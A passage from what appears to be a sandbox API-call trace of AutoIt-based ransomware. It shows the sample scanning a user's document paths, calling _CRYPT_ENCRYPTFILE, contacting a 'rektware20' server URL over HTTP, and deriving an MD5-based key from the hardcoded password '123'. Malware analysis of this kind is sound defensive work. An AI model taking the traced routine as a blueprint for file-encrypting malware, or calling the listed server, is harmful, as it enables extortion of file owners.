lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="auVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Aja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.139] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.140] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.140] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.140] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.140] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.140] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.140] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.140] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.140] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c) returned 1 [0074.140] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.140] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.140] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.141] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.141] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.141] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.141] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.141] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.141] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.142] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.142] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.142] CloseHandle (hObject=0x0) returned 0 [0074.142] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.142] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0074.142] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.142] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.142] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.142] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.142] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.143] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.143] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.143] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.143] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.143] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.143] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.144] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.144] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.144] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aade0) returned 1 [0074.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.145] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.145] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.145] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.145] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.145] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.145] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.145] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.146] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.146] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.146] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.146] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.146] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.146] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.146] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.146] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.146] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.146] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.146] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.146] CryptCreateHash (in: hProv=0x17aade0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, 